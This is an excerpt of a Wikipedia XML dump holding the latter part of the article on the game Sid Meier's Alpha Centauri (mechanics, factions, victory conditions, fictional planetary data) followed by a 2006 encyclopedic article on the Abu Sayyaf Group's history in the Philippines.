The game is represented on a three-dimensional map of the planet surface, upon which bases are built and units deployed. Local features of the terrain influence the amount of resources a base harvests from any particular square. For example, rocky squares yield minerals but no food unless cleared, while river squares produce extra energy. The altitude of terrain influences how much energy can be harvested there, can create rainfall shadows downwind, etc. Terrain can be enhanced and altered (including raising and lowering altitude!) by units equipped with a [[terraforming|terraformer]] module. The terrain also affects combat. For example, defending units receive a +50% bonus in rocky squares, while artillery units receive bonuses when attacking from higher elevation.

===Units and combat===
A unit is made up from different parts such as chassis, weapon, armor, reactor, and special ability slots. As new technologies become available, old designs may be brought up to date and existing units upgraded. 
 
Generally, only friendly units (your own or those of an ally) can occupy the same square. Enemy units must be eliminated in order to move into their square. Combat usually initiates when a unit from one faction attempts to enter a square occupied by units from another hostile faction. Many factors affect the outcome of combat, including:
*The attacking unit's weapon rating;
*The defending unit's armor rating;
*The [[hit point]]s of both units, determined by the type of reactor used;
*The morale status of both units;
*Any attack or defense bonuses brought about by base facilities and Secret Projects.

Researching certain new technologies unlocks progressively better equipment (weapons, armor and reactors.) Morale upgrades are gained through various means: possessing certain support infrastructure such as Command Centers as well as creating units with certain special abilities allows units to begin with higher morale, gaining access to the mysterious alien monoliths that dot the planet, or defeating enough enemies to gain experience will upgrade an existing units morale.

===Native Life===

Adding to the trouble of the human [[political faction|factions]] is an indigenous semi-sentient [[fungus]] (called ''xenofungus'') that spans the planet. Concentrations of xenofungus can spawn more aggressive native life forms known as ''mind worms''. Xenofungus acts as the planet's [[immune system]], and will react against heavy industrial pollution by growing over terraformed sites and concentrating multiple hostile mind worm units against offending cities. In accordance with its semi-sentience, the fungus can grow and reclaim land when the player, either through [[terraforming]] or industry, is seen as adversely affecting Planet's [[ecosystem]].

Moreover, mind worms can be captured by factions with a deep understanding of Planet's fragile ecology and used as instruments of war and police.

In the course of the storyline, it is discovered that Planet's ecosystem is an increasingly sentient [[hive mind]], which communicates with faction leaders in cut-scenes from time to time. However, contrary to the concept of a benevolent [[Mother Earth]], the planetary mind is suspicious of humans and abhors their technological intrusion on its ecological balance, often using violence to try to destroy  colonists that it perceives as a threat. Quotes by faction leaders scattered throughout the game reveal that all of them with the notable exception of Lady Dierdre consider the planetary mind to be distrustworthy, dangerous or even [[evil]], although the Transcendence victory condition allows the player to unite human consciousness with Planet's mind, thus 'civilizing' it, achieving the next step in human evolution, and granting vast [[psionic]] powers to Transcended humans.

===Bases===
[[Image:AlphaCentauriGameCD.jpg|thumb|right|The Alpha Centauri game CD ([[Microsoft Windows]] version), depicting the surface of the planet Chiron and the system's two stars]]
Bases, like cities in the earlier ''Civilization'' games, are the center of the game. A base is essentially a self-contained city that can be built and captured, as well as destroyed (either intentionally through war casualties, [[starvation]], abandonment by constructing a colonizer at base size 1, or [[weapons of mass destruction]], or unintentionally through ecological disruptions or being overrun by native mind worms).  A base collects resources from the surrounding environment, using the manpower of the local population, or mechanically through resource crawler units. [[Mineral]] resources are used in building units and maintaining their upkeep, or can be converted to energy credits. Nutrient resources feed the local citizens, with more nutrients harvested leading to a higher rate of population growth. Energy collected from [[borehole]]s or [[solar collector]]s are piped into three priorities: PSYCH, ECONOMY and LABS. PSYCH represents how much energy is being used in improving the living standard of the inhabitants. ECONOMY represents how much energy is diverted into energy credits. LABS represents how much energy is being diverted into powering research. The output of all three can be enhanced by facilities or by special inhabitants called specialists. Energy credits created by the economy are the currency of the game. It can be used in hurrying production orders, commencing secret projects, or as an object of barter in diplomatic encounters. Some covert missions or prototype construction also require energy credits. Depending on a faction's social policies and the individual base's distance from the capital, a portion of collected energy can be lost to inefficiency.

Citizens are the inhabitants of a base. One citizen represents 10,000 inhabitants. It takes one citizen to harvest the resources of one square. New citizens are produced when a base has accumulated a set quantity of excess nutrients. The amount of nutrients needed to create growth becomes higher as the population multiplies. [[Social engineering (political science)|Social engineering]] choices or facilities can help reduce this required amount during each stage of growth.

Bases build all of the faction's units, and by extension, new bases. A new base is created when a previous base builds a unit equipped with a colony pod module and the unit is deployed at the desired location. Building new units require a set amount of minerals, depending on how complex or advanced the unit is. Each turn, minerals processed by citizens are added to the current task until it is completed. This process can be hurried by spending energy credits. New technologies are also researched in a manner. LABS output from every base is accumulated each turn until it fulfils the required cost to research the technology. All of these aspects can be enhanced by facilities and other factors.

A base can also build facilities and secret projects. Facilities, which are analogous to the buildings of the original [[Civilization (computer game)|Civilization]] games, creates or alters some function of the base it is located in. Similarly, Secret Projects are comparable to the [[Seven Wonders of the World|Great Wonders]] of the original [[Civilization (computer game)|Civilization]]. They are expensive and can only be built once, but usually have dramatic benefits ranging from free facilities to social engineering effects and special unit abilities.

===Diplomacy===
When two factions have established contact, they can engage in a variety of diplomatic actions. New technology, energy credits and bases can be bargained for or demanded with the threat of force. Factions can sign treaties and pacts, declare [[war]] or ask for a temporary cessation of hostilities. Treaties lead to [[commerce]] between faction bases and an increase in income for both factions. Pacts allow units to enter allied held territory and bases, and doubles the commerce modifier between the two factions. Computer controlled factions will remember past dealings, betrayals and atrocities, and will base their reactions to the player's diplomatic overtures accordingly.

Once one human faction has made contact with all other human factions, it can choose to convene the ''Planetary Council'' and elect a ''Planetary Governor''. Thereafter, factions can periodically convene the council (at most once every 20 years for each faction; the Planetary Governor only has to wait 10 years) to make proposals such as electing a new governor, salvaging the ''Unity'' fusion reactor core, or creating a global trade pact. With the exception of the Planetary Governor or Supreme Leader elections, each faction has one vote, with the governor holding [[veto]] power. In Planetary Governor or Supreme Leader elections, each faction casts a number of votes that is based on its total population and modifiers from secret projects.

===Society===
Despite being set in the future, the problems of human society still plague the inhabitants of Chiron. Reflecting this are the existence of drones in the population. Drones represent the undereducated, discontent segments of society. When the number of drones overwhelm the number of well educated citizens, called Talents, a drone [[riot]] occurs. During a drone riot all productive activity within the base are suspended. If not stopped, prolonged drone riots will eventually escalate in severity until facilities are destroyed, or in extreme cases, the entire city defects to another faction. 

Drone riots can be suppressed through the use of in base military units as [[police]]. The amount of suppression allowed depends on the degree of tolerance the society, under current [[Social engineering (political science)|social engineering]] models, has for policing. There also exists the temporary and more extreme solution of ''nerve stapling''. This directly suppresses the violent tendencies of the population, preventing drone riots for a short period of time, but carrying it out is considered an atrocity and can negatively impact diplomatic reactions.

===Social Engineering===
[[Social engineering (political science)|Social engineering]] is another decisive game element reflecting human nature. Here, political, economic, social and future society models may be chosen. Each choice has its benefits and drawbacks. When combined, these models shape the faction's overall society. The aspects of social engineering affect a diverse range of gameplay elements, ranging from contentment and growth of the populace, unit morale and fighting strength, to the amount of energy credits received, among other things.

* ''[[Political systems|Politics]]'' represents the method your society uses to make political decisions.
**''[[Frontier]]'' is the default system. This politics represents the informal government used in the young colonies, before the settlement reach a substantial size, which require a more sophisticated government system.
** ''[[Police state|Police State]]'' is the system in which the government uses brutal police force to discipline the citizens and keep them in line. The leader has great power over the military and the citizens but the economic efficiency is decreased.
** ''[[democracy|Democratic]]'' is the system where the citizens take part in the government by electing their representatives. The stability this government type offers increases growth and efficiency, but the citizens become suspicious of large military deployments.
** ''[[fundamentalism|Fundamentalist]]'' is the system where the society is heavily based on a religion. This government type provides loyal citizens, and tends to make the citizens more resistant against brainwashing. However, scientific research suffers greatly under this government.
* ''Economics'' represents how your society [[economic systems|manages its resources]].
** ''[[Primitive accumulation of capital|Simple]]'' is the default administration. It represents the informal, [[ad hoc]] economic system, which is utilized in the early years after Planetfall.
** ''[[free market|Free Market]]'' is the system where the market forces are released. This system generates a lot of wealth, at the expense of severe environmental damage and unhappiness of people who are suddenly rendered poor by unscrupulous moguls.
** ''[[Planned economy|Planned]]'' is the system where the market forces are tied very tight by strict government regulations. This benefits the production and growth, at the expense of efficiency.
** ''[[Green politics|Green]]'' is government with nature preservation as its top goal. Extensive recycling increases the efficiency and reduces ecological damage, but growth is sacrificed due to deference for native life.
* ''Values'' represents which [[Value system|value system]] your society is based upon.
** ''[[Survival skills|Survival]]'' is the most important value in the early struggles of surviving on the foreign planet.
** ''[[Power]]'' is the value of having a strong leader with power to enforce his will and have large military budget. But the industry suffers from this exaggerated 'defense' budget.
** ''[[Knowledge]]'' is the society value where science and knowledge are highly prized. It promotes free flow of information, which increases scientific progress but tends to render the player's society more vulnerable to probe attacks.
** ''[[Wealth]]'' values the acquisition of money and material goods most highly.  The benefits for the economy and for industry are apparent; the morale of the society suffers, however, due to greed.
* ''[[Transhumanism|Future society]]'' represents advanced social engineering models, which can be used very late in the game after extensive research and much experience with social engineering.
** ''None'' is the default future society. This represents that the player's society has not yet developed a future society.
** ''[[Cybernetics|Cybernetic]]'' is the future society where artificial intelligence has taken over the menial tasks of society, allowing humans devote their time to creative pursuits.  Its downside is the civil unrest often caused as people have their jobs taken by machines. 
** ''[[Eudaimonia|Eudaimonic]]'' is virtue in accord with excellence: the citizens of this society achieve ultimate happiness by striving to fulfil their greatest potential.
** ''[[Thought control]]'' is the future society where mind-control methods are used to utterly subjugate the citizens of the player's society.

==Factions==
The original seven [[Political faction|factions]] in the game are as follows below (the [[Sid Meier's Alien Crossfire|Alien Crossfire]] expansion adds seven more):

===Spartan Federation===
True to their name, the Spartan faction places the highest priority on strength, discipline and combat readiness. Commanded by Colonel Corazon Santiago, a survivalist from Puerto Rico, the Spartans make planetfall with the technology ''Doctrine: Mobility''. Spartan units receive morale upgrades (making them better fighters) and their disciplined society is naturally tolerant of [[police]] actions, allowing two [[military]] units to help suppress a colony's drones. The Spartans' skilled military expertise allows them to build prototype units without extra mineral cost. However, the excessive labour developed to military production imposes a 10% penalty to industrial production. The Spartans may not pursue Wealth as a social engineering choice.  Their founding base is Sparta Command.

===Gaia's Stepdaughters===
A faction that values living in [[Ecology|ecological]] harmony with Planet and abhors ecological destruction. They are led by Lady Deirdre Skye of Scotland. The Gaians make planetfall with the technology ''Centauri Ecology''. The Gaians' ecological safeguards allow them to avoid ecological damage and to capture native mind worms, and their experience with lifecycles and recycling gives them an efficiency bonus. The Gaians also receive one extra nutrient from fungal squares and their infantry units can move through xenofungus without movement penalties. The Gaians are [[pacifism|pacifistic]] and freedom-loving, giving rise to their weaknesses: low troop morale and a lower police rating which prevents nerve stapling. The Gaians may not use a [[Free market|Free Market]] system in social engineering.  Their founding base is Gaia's Landing.

===University of Planet===
A faction that values knowledge and scientific advancement, although not necessarily ethically obtained. Led by Academician Prokhor Zakharov of Russia. The [[University]] makes planetfall with ''Information Networks'', as well as another randomly selected technology. The brilliant researchers of the University allow them to discover new technologies 20% faster than normal, but the openness of their academic networks leaves them prone to infiltration from other factions. Every University base comes equipped with a Network Node, which boosts research by another 50%. Due to the University's lack of ethics, one in every four citizens is a drone. The University may not use a [[Fundamentalist]] [[government]] in social engineering.  Their founding base is University Base.

===Peacekeeping Forces===
This faction works hard to keep the peace through diplomacy and to maintain the United Nations charter. Led by Commissioner Pravin Lal of India, the Peacekeepers make planetfall with the technology ''Biogenetics''. The [[United Nations]] style bureaucracy of the Peacekeepers causes them to lose efficiency. The Peacekeepers do attract intellectual elites, causing every fourth citizen to be a talent. The Peacekeeper colonies may grow two sizes beyond normal population restrictions. In votes for Planetary Governor and Supreme Leader, the Peacekeepers' votes are double its population. The Peacekeepers may not use a [[police state]] government in social engineering.  Their founding base is United Nations Headquarters.

===Human Hive===
A totalitarian faction based on [[Communist]]/[[Collectivist]] principles. They are controlled by Chairman Sheng-Ji Yang of China. The Hive makes planetfall with the technology ''Doctrine: Loyalty''. The Hive has its growth rate boosted by 10% and its brutal serfdom decreases the mineral cost of units and facilities by 10%, however the lack of political freedom causes each colony to generate one less unit of energy per turn. In the original version of the game, the Hives' belief in the greater good greatly raised the morale of Yang's army.  In the [[Sid Meier's Alien Crossfire|expansion pack]], the Hive loses its morale bonus but is given an immunity to inefficiency, which greatly bolsters the Police State government used by Yang, as it removes all negative side effects.  The Hive may not use a [[Democracy|Democratic]] government.  During development, this faction was named &quot;The Labyrinth&quot; and had a stronger science inclination, before being changed to &quot;The Hive&quot; in the final release.  Their founding base, fittingly, is The Hive.

===Lord's Believers===
A [[fundamentalist]] faction wary of secular technology. Led by Sister Miriam Godwinson of the United States. The Believers make planetfall with the technology ''Social Psych''. The Believers' convictions give them a 25% attack bonus as well as increasing the morale of their Probe Teams and increasing the cost of their enemies' probe attacks. Their eagerness to defend their faith allows each colony to support up to four units without a cost of minerals. Because the Believers feel that Chiron is their promised land, ecological tensions are increased and production of resources in fungal squares is decreased. The Believers are also skeptical of secular technology, thus their research rate is decreased by 20% and they may not accumulate any research points in the first ten years on Chiron. The Believers may not use Knowledge as a social engineering choice.  While the game was being coded, this faction was named &quot;The Conclave&quot; before being changed to &quot;The Believers&quot; in the final release.  Their founding base is New Jerusalem.

===Morgan Industries===
A faction stressing the values of wealth and materialism, and led by self-made mogul Nwabudike Morgan of Namibia. The Morgans make planetfall with the technology ''Industrial Base'' and an additional 100 energy credits. Because they are an industrial [[conglomerate (company)|conglomerate]], they receive an energy bonus in social engineering - an extra unit of energy in each colony, and one energy per square and even larger bonuses if this is combined with social engineering values such as Free Market or Wealth. However, because of the expensive tastes of its followers and the demand for creature comforts, Morganite units have high mineral maintenance costs and colonies cannot exceed population size four until the Hab Complex Facility is built. The Morganites receive extra energy from commerce due to their marketing expertise. They may not choose a Planned economy in social engineering.  Their founding base is Morgan Industries.

== Victory conditions ==

There are several victory methods available in ''Alpha Centauri''.

;Cooperative : A Cooperative victory allows multiple allied factions to win the game if one of the factions achieves one of the following methods.
;Military : A military victory occurs when all factions are annihilated or have surrendered to one player. If cooperative victory is enabled then there may be up to three pact brothers and sisters who can share the victory (excluding those who have surrendered).
;Economic : When a player has enough energy reserves (roughly equal to what it would take to mind-control all the remaining cities on planet), he or she can win the game through economic victory by cornering the global energy market. This takes 20 turns to achieve, and can be prevented if during this time the faction's headquarters falls to an enemy.
;Diplomatic : A player achieves diplomatic victory by uniting the Planetary Council behind him or her.  To do this, the player must get a certain percentage of the votes, by population, at Planetary Council.  The percentage varies based on difficulty level, up to 75% at the highest difficulty (transcendent).  If the vote succeeds but remaining factions oppose the decision, they must be eliminated by force to achieve a military victory.
;Transcendence : The transcendence victory is achieved by building the Ascent to Transcendence secret project, which becomes available after the Voice of Planet secret project has been built (by any faction).  This concept of a post human era is very closely related to the idea of the [[technological singularity]].  After this project is built the human inhabitants of Chiron leave their material bodies to merge with the emerged planet intelligence.

== Inspirations ==
They are countless but to name just a few, [[Chiron]] (the name of the planet) is the name of the only non-barbaric [[centaur]] in Greek mythology and an important loregiver and teacher for humanity. The native life and singular planet mind of the game draws heavily from [[Frank Herbert]]'s novel ''[[The Jesus Incident]]''. [[Vernon Vinge]]'s ''[[technological singularity|Singularity]]'' is the origin of the Transcendence concept.

The arrival on Chiron is referred to as &quot;Planetfall&quot;, which is a term used in many science fiction novels, including [[Robert A. Heinlein]]'s ''Future History'' series and [[Infocom]]'s celebrated comic [[interactive fiction]] adventure ''[[Planetfall]]''.

==Influence==
While not being a direct sequel of ''[[Civilization II]]'', ''Alpha Centauri'' was considered a continuation or a successor of that much acclaimed game, because it had the same general principles as ''Civilization II'' did, and had been made by many of the same people. It was also thematically linked, as the earlier game had ended with mankind leaving Earth to travel to Alpha Centauri, the moment at which ''Alpha Centauri'' begins. ''Alpha Centauri'' was built on the ''Civilization II'' engine modified for [[voxel]] graphics. ''[[Firaxis]]'' made ''Alpha Centauri'' after ''Civilization II'' as a spiritual sequel to the series. At the time, the ''Civilization'' franchise was in dispute since [[Sid Meier]] and [[Brian Reynolds]] had left [[Microprose]] to found [[Firaxis]]. Unable to make ''[[Civilization III]]'', they made ''Alpha Centauri'', instead, beginning the game where the storyline had left off in ''Civilization''.

The magazine ''[[PC Gamer]] US'' awarded ''Alpha Centauri'' a score of 98%, which was the highest score ever given by that magazine&amp;mdash;''Civilization II'' being the previous holder of this record with 97%. In 2004, ''PC Gamer'' gave ''[[Half-Life 2]]'' a score of 98%, making it tied with ''Alpha Centauri''. The magazine also gave ''Alpha Centauri'' Editor's choice and Turn-based strategy game of the year awards in 1999.

''Alpha Centauri'' has also won several Game of the Year awards, including those from ''[[The Denver Post]]'' and ''[[Toronto Sun]]''. It won Turn-based Strategy Game of the year award from [[GameSpot]] as well. The [[Academy of Interactive Arts &amp; Sciences]] named ''Alpha Centauri'' best strategy game of the year.  In [[2000]] ''Alpha Centauri'' won the [[Origins Award]] for ''Best Strategy Computer Game of 1999''.

In the community of Civilization players, many quotations from ''Alpha Centauri'', which are shown at different points in the gameplay, are also quite popular.

The game has also sparked a trilogy of novels (see below) and a strategy guide by Chris Hartpence (&quot;Velociryx&quot;), which was later printed and published.  [[Steve Jackson Games]] also published ''GURPS Alpha Centauri'', an expansion for the [[GURPS]] [[role-playing game]] set in the Alpha Centauri universe.

==Technology==

Unlike comparable games at the time of publishing, Sid Meier's Alpha Centauri employs ([[orthographic]]) [[3D computer graphics|3-D]] [[Rendering (computer graphics)|rendering]] for both the terrain and units. This is made possible by the &quot;Caviar&quot; [[voxel]] library by AnimaTek International (now [http://www.digi-element.com/ Digital Element]), which renders the voxel models and terrain geometry using self-modifying [[assembler]] routines.

==Alpha Centauri A system==
Although the details of the Alpha Centauri A system do not play much of a direct role in the game (apart from &amp;alpha; Cen B's &quot;perihelion&quot; affecting the energy harvest 20 years out of each 80), they are nevertheless documented in the game files&lt;!--- Planets.txt ---&gt;. There we learn not only of Chiron's two moons ([[Pholus]] and [[Nessus]]), but also of the mercurian planet [[Eurytion]].

{|{{Prettytable-center}}
|+ [[star|Stellar data]]
|-
! &amp;nbsp; ||style=&quot;background:#ffdead;&quot;| [[Sun]] ||style=&quot;background:#ffdead;&quot;| [[Alpha Centauri A|&amp;alpha; Cen A]] ||style=&quot;background:#ffdead;&quot;| ''(Ratio)''
|-
|align=&quot;left&quot;| [[Mass]] ([[kg]]) || 1.99{{e|30}} || 2.15{{e|30}} || ''(1.08)''
|-
|align=&quot;left&quot;| [[Luminosity]] ([[watt (unit)|W]]) || 3.89{{e|26}} || 5.63{{e|26}} || ''(1.45)''
|-
|align=&quot;left&quot;| [[Radius]] ([[metre|m]]) || 6.96{{e|8}} || 7.59{{e|8}} || ''(1.09)''
|}

{|{{Prettytable-center}}
|+ [[planet|Planetary data]]
|-
! &amp;nbsp; ||style=&quot;background:#ffdead;&quot;| [[Earth]] ||style=&quot;background:#ffdead;&quot;| Chiron ''(Ratio)'' ||style=&quot;background:#ffdead;&quot;| Eurytion ''(Ratio)''
|-
|align=&quot;left&quot;| Mass (kg) || 5.98{{e|24}} || 1.10{{e|25}} ''(1.84)'' || 5.16{{e|23}} ''(0.09)''
|-
|align=&quot;left&quot;| Equatorial radius (m) || 6.38{{e|6}} || 7.54{{e|6}} ''(1.18)'' || 2.82{{e|6}} ''(0.44)''
|-
|align=&quot;left&quot;| [[Semi-major axis]] (m) || 1.50{{e|11}} || 1.60{{e|11}} ''(1.07)'' || 7.06{{e|10}} ''(0.47)''
|-
|align=&quot;left&quot;| [[Obliquity]] ([[degree (angle)|°]]) || 23.45 || 2.00 ''(0.09)'' || 0.00 ''(0.00)''
|-
|align=&quot;left&quot;| [[Surface]] area ([[square metre|m²]]) || 5.10{{e|14}} || 7.18{{e|14}} ''(1.41)'' || 9.98{{e|13}} ''(0.20)''
|-
|align=&quot;left&quot;| [[Gravity]] (m/s²) || 9.81 || 12.85 ''(1.31)'' || 4.33 ''(0.44)''
|-
|align=&quot;left&quot;| [[Escape velocity]] (m/s) || 11,184 || 13,947 ''(1.25)'' || 4942 ''(0.44)''
|-
|align=&quot;left&quot;| [[Density]] (kg/[[cubic metre|m³]]) || 5,519 || 6,150 ''(1.11)'' || 5,503 ''(1.00)''
|-
|align=&quot;left&quot;| Apparent angular radius of sun (°) || 0.27 || 0.27 ''(1.02)'' || 0.62 ''(2.31)''
|-
|align=&quot;left&quot;| Period ([[day|d]]) || 365.3 || 388.6 ''(1.06)'' || 113.8 ''(0.31)''
|-
|align=&quot;left&quot;| Year (local solar days) || 365.3 || 532.0 ''(1.46)'' ||rowspan=&quot;2&quot;| [[synchronous rotation|Synchronous]] (∞)''
|-
|align=&quot;left&quot;| Solar day ([[hour|h]]) || 24.00 || 17.53 ''(0.73)''
|-
|align=&quot;left&quot;| Maximum [[altitude]] (m) || 10,626 || 8,112 ''(0.76)'' || (unspecified)
|-
|align=&quot;left&quot;| [[Horizon]] distance (m) || 5,051 || 5,493 ''(1.09)'' || 3357 ''(0.66)''
|-
|rowspan=&quot;4&quot; align=&quot;left&quot;| Ocean [[tide]] (m) || sun: 0.12 || 0.12 ''(0.94)'' ||rowspan=&quot;4&quot;| n/a
|-
| moon 1: 0.27 || 0.18 ''(0.67)''
|-
| moon 2: n/a || 0.11 ''(n/a)''
|-
| total: 0.39 || 0.41 ''(1.05)''
|-
|align=&quot;left&quot;| [[Temperature]] (base+greenhouse) || 253+36 K (15.4 °C) || 261+32 K (19.7 °C) || 438 K (165.3 °C)
|-
|align=&quot;left&quot;| Solar constant (W/m²) || 1,383 || 1,750 ''(1.27)'' || 8,999 ''(6.51)''
|-
!colspan=&quot;4&quot; style=&quot;background:#addeff;&quot;| [[Atmosphere]]
|-
|align=&quot;left&quot;| Surface density (kg/m³) || 1.22 || 2.06 ''(1.68)'' ||rowspan=&quot;2&quot;| none ''(0.00)''
|-
|align=&quot;left&quot;| &quot;Flammability&quot; (m[[mole (unit)|mol]] K/[[joule (unit)|J]]) || 7.17 || 2.87 ''(0.40)''
|-
!colspan=&quot;4&quot; style=&quot;background:#addeff;&quot;| [[Atmospheric pressure]] ([[pascal (unit)|Pa]])
|-
|align=&quot;left&quot;| Total || 101,325 || 176,020 ''(1.74)'' ||rowspan=&quot;5&quot;| none ''(0.00)''
|-
|align=&quot;left&quot;| [[Nitrogen]] || 79,125 (78.09%) || 160,000 ''(2.02)'' (90.90%)
|-
|align=&quot;left&quot;| [[Oxygen]] || 21,228 (20.95%) || 15,000 ''(0.71)'' (8.52%)
|-
|align=&quot;left&quot;| [[Argon]] || 942 (0.93%) || 1,000 ''(1.06)'' (0.57%)
|-
|align=&quot;left&quot;| [[Carbon dioxide]] || 30 (0.03%) || 20 ''(0.67)'' (0.01%)
|}

{|{{Prettytable-center}}
|+ [[natural satellite|Lunar data]]
|-
! &amp;nbsp; ||style=&quot;background:#ffdead;&quot;| The [[Moon]] ||style=&quot;background:#ffdead;&quot;| Pholus ''(Ratio)'' ||style=&quot;background:#ffdead;&quot;| Nessus ''(Ratio)''
|-
|align=&quot;left&quot;| Mass (kg) || 7.35{{e|22}} || 5.20{{e|20}} ''(0.01)'' || 6.50{{e|21}} ''(0.09)''
|-
|align=&quot;left&quot;| Radius (m) || 1.74{{e|6}} || 3.50{{e|5}} ''(0.20)'' || 8.00{{e|5}} ''(0.46)''
|-
|align=&quot;left&quot;| Semi-major axis (m) || 3.84{{e|8}} || 1.00{{e|8}} ''(0.26)'' || 2.00{{e|8}} ''(0.52)''
|-
|align=&quot;left&quot;| Surface area (m²) || 3.80{{e|13}} || 1.54{{e|12}} ''(0.04)'' || 8.04{{e|12}} ''(0.21)''
|-
|align=&quot;left&quot;| Gravity (m/s²) || 1.62 || 0.28 ''(0.17)'' || 0.68 ''(0.42)''
|-
|align=&quot;left&quot;| Density (kg/m³) || 3,342 || 2,895 ''(0.87)'' || 3,031 ''(0.91)''
|-
|align=&quot;left&quot;| [[Synodic month]] (d) || 29.5 || 2.7 ''(0.09)'' || 7.7 ''(0.26)''
|-
|align=&quot;left&quot;| Synodic month (local solar days) || 29.5 || 3.7 ''(0.13)'' || 10.6 ''(0.36)''
|-
|align=&quot;left&quot;| Synodic months per year || 12.4 || 143.76 ''(11.60)'' || 50.2 ''(4.05)''
|-
|align=&quot;left&quot;| Apparent angular radius (°) || 0.26 || 0.20 ''(0.77)'' || 0.23 ''(0.88)''
|}

==Further reading==
The original story of the journey and splintering of the colonization space ship from Earth to Alpha Centauri was detailed in multiple installments that were released periodically by Michael Ely of Firaxis on the web, immediately prior to the release of the game, as part of a marketing mechanism.  During the course of the installments, the names of regular forum members on the official Firaxis forums were incorporated into the story in cameos.

For further reading, game story developer [[Michael Ely]] has also written a trilogy of novels based on the game.
* ''Centauri Dawn'' - ISBN 0671040774 
* ''Dragon Sun'' - ISBN 0671040782 
* ''Twilight of the Mind'' - ISBN 0671040790

==See also==
*[[List of technologies in Sid Meier's Alpha Centauri]]
*[[List of computer and video games by name]]
*''[[Outpost 2]]''
*[[Alpha_Centauri_A#Sky_appearance_from_Alpha_Centauri|Sky appearance from Alpha Centauri]]
*[[Space colonization in popular culture]]
*[[Spacepunk]]

==External links==
{{Wikiquote}}
* [http://www.firaxis.com/smac/ Official site]
* [[Wikibooks:Civ|Civilization Wikibook]] - Has a section on Alpha Centauri and Alien Crossfire, based on a guide by Velociryx.
* [http://www.netjak.com/review.php/785 Netjak Review]
* [http://www.generationterrorists.com/quotes/smac.html The Alpha Centauri quotebook]
* [http://www.apolyton.net/smac/ Apolyton's Alpha Centauri site] - Has much information on strategy.
* [http://www.sjgames.com/gurps/books/alphacentauri/ GURPS Alpha Centauri] - The official site of the RPG supplement.


{{Civilization}}

[[Category:1999 computer and video games]]
[[Category:Firaxis games]]
[[Category:Linux games]]
[[Category:Apple Macintosh games]]
[[Category:Origins award winners]]
[[Category:Science fiction computer and video games]]
[[Category:Turn-based strategy computer games]]
[[Category:Windows games]]

[[de:Sid Meier's Alpha Centauri]]
[[es:Alpha Centauri (videojuego)]]
[[fi:Sid Meier's Alpha Centauri]]
[[fr:Alpha Centauri (jeu vidéo)]]
[[pl:Alpha Centauri (gra komputerowa)]]</text>
    </revision>
  </page>
  <page>
    <title>Abu Sayyaf</title>
    <id>2216</id>
    <revision>
      <id>41263135</id>
      <timestamp>2006-02-26T03:45:15Z</timestamp>
      <contributor>
        <username>AshishG</username>
        <id>172488</id>
      </contributor>
      <minor />
      <comment>Disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">The '''Abu Sayyaf Group (ASG)''' ([[Arabic language|Arabic]]: جماعة أبو سياف), or simply '''Abu Sayyaf''', also known as '''Al Harakat Al Islamiyya''', is an [[Islamist]] terrorist separatist group of based in and around the southern islands of the [[Philippines]], primarily [[Jolo]], [[Basilan]], and [[Mindanao]].
[[Image:AbuSayyaf.jpg|right|thumb|Khadaffy Janjalani with his right hand man and ASG spokesperson Abu Sabaya.]]

[[Khadaffy Janjalani]] is named as the nominal leader of the group by the Armed Forces of the [[Philippines]].

It is reported that they recently began expanding into neighbouring [[Malaysia]] and [[Indonesia]]. The group has carried out [[bombing]]s, [[assassination]]s, [[kidnapping]]s, and [[extortion]] in their fight for an independent Islamic state in western [[Mindanao]] and the [[Sulu Archipelago]] and create an atmosphere conducive to the creation of a Pan-Islamic superstate in the [[Malay Peninsula|Malay]] portions of [[South-east Asia]]. The name of the group is [[Arabic language|Arabic]] for ''Father (Abu) of the Sword (Sayyaf)''.

The ASG is the one of the smallest but strongest of the Islamic separatist groups in Mindanao. Some ASG members have allegedly studied or worked in [[Saudi Arabia]] and developed ties to [[mujahadeen]] while fighting and training in the war against the [[Soviet invasion of Afghanistan]]. 

The [[Philippines|Philippine]] government has claimed the group has ties to [[Jemaah Islamiyah]] and [[al-Qaeda]].

A blast at a US military base in the Philippines on [[February 18]], [[2006]] was blamed on Abu Sayyaf by Brig. General Alexander Aleo, a [[United States Army]] [[Commanding officer|officer]].[http://news.bbc.co.uk/2/hi/asia-pacific/4727842.stm]

==History==

Members of the ASG were once part of the [[Moro National Liberation Front]], but started on their own in 1991 under the leadership of [[Abdurajik Abubakar Janjalani]].

[[Ramzi Yousef]] and [[Khalid Shaikh Mohammed]], both of whom were involved with [[Operation Bojinka]], allegedly took [[scuba]] trips to [[Puerto Galera]]. The trips may have been a cover for the training of Abu Sayyaf terrorists.

After [[Ramzi Yousef]] bombed [[Philippine Airlines]] [[Philippine Airlines Flight 434|Flight 434]], killing a [[Japan]]ese passenger, a man stated in a telephone call, &quot;We are [the] Abu Sayyaf Group. We explode[d] one plane from [[Cebu]].&quot; The bombing was supposedly a test for [[Operation Bojinka]], which was discovered by [[Manila]] police on [[January 6]], [[1995]].

Abu Sayyaf's first large-scale action was the beachhead assault on the town of [[Ipil, Zamboanga Sibugay|Ipil]] in [[Mindanao]] in April [[1995]]. It is responsible for the kidnapping and murder of more than 30 foreigners and Christian clerics and lay-workers.

Abdurajik Janjalani was killed in a clash with the Philippine National Police on [[December 18]], [[1998]]. Khaddafy Janjalani, his younger brother, is said to have succeeded him.

The death of Aburajik Abubakar Janjalani, otherwise known as Abu Sayyaf, marked a turning point in ASG operations, shifting from its ideological focus to more general kidnappings, murders and robberies. 
[[Image:robotx1.jpg|right|thumb|Galib Andang a.k.a Kumander Robot getting treated for injuries sustained after being captured by the Philippine military.]] 

The ASG primarily operates in the southern Philippines with members occasionally traveling to [[Manila]], but the group expanded its operations to [[Malaysia]] in 2000 when it abducted foreigners from two different resorts. A commander named [[Abu Sabaya]] was killed in 2002 while trying to evade forces.[http://www.ict.org.il/spotlight/det.cfm?id=796]. [[Galib Andang]], aka Commander Robot, was captured in [[Sulu]] in [[December]] [[2003]].

Abu Sayyaf is estimated to have a core membership of 200 with an extended membership of over 2000. The group was originally not thought to receive funding from any government, but intelligence reports from the [[United States]], [[Indonesia]], and [[Australia]] have found intermittent ties to the Indonesian [[Jemaah Islamiyah]] terrorist group.

[[Category:Islamist groups]]
[[Category:Islamic organizations]]
[[Category:Jihadist organizations]]

[[ar:مجموعة أبو سياف]]
[[de:Abu Sayyaf]]
[[es:Abu Sayyaf]]
[[fr:Abu Sayyaf]]
[[id:Abu Sayyaf]]
[[ia:Abu Sayyaf]]
[[nl:Abu Sayyaf]]
[[pl:Grupa Abu Sajjafa]]
[[fi:Abu Sayyaf]]
